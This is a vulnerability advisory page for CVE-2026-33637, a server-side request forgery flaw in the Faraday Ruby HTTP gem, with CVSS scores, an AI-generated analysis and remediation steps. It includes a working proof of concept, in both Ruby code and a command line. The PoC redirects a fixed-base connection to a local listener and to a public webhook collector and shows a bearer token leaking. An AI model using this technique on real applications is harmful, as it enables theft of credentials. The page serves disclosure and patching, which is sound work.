Skip to main content

Faraday Ruby Gem EUVDEUVD-2026-30966

| CVE-2026-33637 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-18 https://github.com/lostisland/faraday GHSA-5rv5-xj5j-3484
6.5
CVSS 3.1 · NVD
Share

Severity by source

NVD PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
SUSE
MEDIUM
qualitative
Red Hat
6.3 MEDIUM
qualitative

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
CVSS changed
Jul 24, 2026 - 09:22 NVD
6.5 (MEDIUM)
Source Code Evidence Fetched
May 18, 2026 - 15:16 vuln.today
Analysis Generated
May 18, 2026 - 15:16 vuln.today

DescriptionNVD

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

  • Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
  • Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
  • Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

  • Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
  • Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), conn.post(...), or req.url(...)
  • Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

  1. Use the current repository checkout and load Faraday from lib/.
  2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
  3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
  4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

  • Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
  • Commands executed:
bash
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
  • PoC code (inline):
ruby
require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body
  • Exit code: 0
  • stdout (relevant excerpt):
text
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
  • stderr (relevant excerpt):
text
N/A
  • Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

ruby
require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

  • Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
  • Existing CVE for the original string-based issue: CVE-2026-25765
  • Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
  • Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

AnalysisAI

Off-host request forgery in the Faraday Ruby HTTP client library (versions 2.0.0-2.14.1) allows a remote unauthenticated attacker who can influence the per-request target to redirect HTTP requests - along with connection-scoped Authorization headers - to an arbitrary attacker-controlled host. This is a bypass of the February 2026 patch for CVE-2026-25765 (GHSA-33mh-2634-fwr2): the prior fix sanitized String inputs to Faraday::Connection#build_exclusive_url but failed to handle URI objects, which Ruby's URI parser resolves differently. Publicly available exploit code (proof-of-concept) exists and was independently confirmed against an external HTTP collector, demonstrating real-world credential exfiltration.

Technical ContextAI

Faraday (pkg:rubygems/faraday) is a widely-used Ruby HTTP client library providing a connection abstraction with configurable base URLs and default headers. The vulnerability is rooted in Faraday::Connection#build_exclusive_url and Faraday::Request#url (in lib/faraday/connection.rb and lib/faraday/request.rb). When a URI object containing a protocol-relative path such as //evil.example/pwn is passed instead of a String, the host-scoping validation introduced for GHSA-33mh-2634-fwr2 is never invoked because it only operates on the String code path. Ruby's URI class treats protocol-relative references as having an explicit (non-nil) host component, so the resulting URL resolves to the attacker's host while preserving all connection-scoped headers. The root cause class is CWE-918 (Server-Side Request Forgery): server-side code constructs an outbound HTTP request to a destination controlled by the attacker rather than the trusted base URL.

RemediationAI

Upgrade Faraday to version 2.14.2 or later, which is the vendor-released patch per GHSA-5rv5-xj5j-3484 (https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484). Run bundle update faraday and pin to >= 2.14.2 in your Gemfile. If an immediate upgrade is blocked, apply a compensating control in application code: before passing any user-controlled value to Faraday, parse it with URI.parse() and explicitly reject it if the host component is non-nil and does not match the expected base host - e.g., raise ArgumentError if URI.parse(target).host && URI.parse(target).host != expected_host. Additionally, block inputs matching the pattern ^// (protocol-relative URI prefix) at the input validation layer. Note that these application-level controls must be applied at every call site that passes user-influenced values to Faraday; they carry a maintenance burden and are inferior to upgrading. Rotating any bearer tokens or API keys that may have transited a Faraday connection in applications exposed to untrusted input should be considered given that credential exfiltration is the primary demonstrated impact.

Vendor StatusVendor

SUSE

Severity: Moderate

Share

EUVD-2026-30966 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy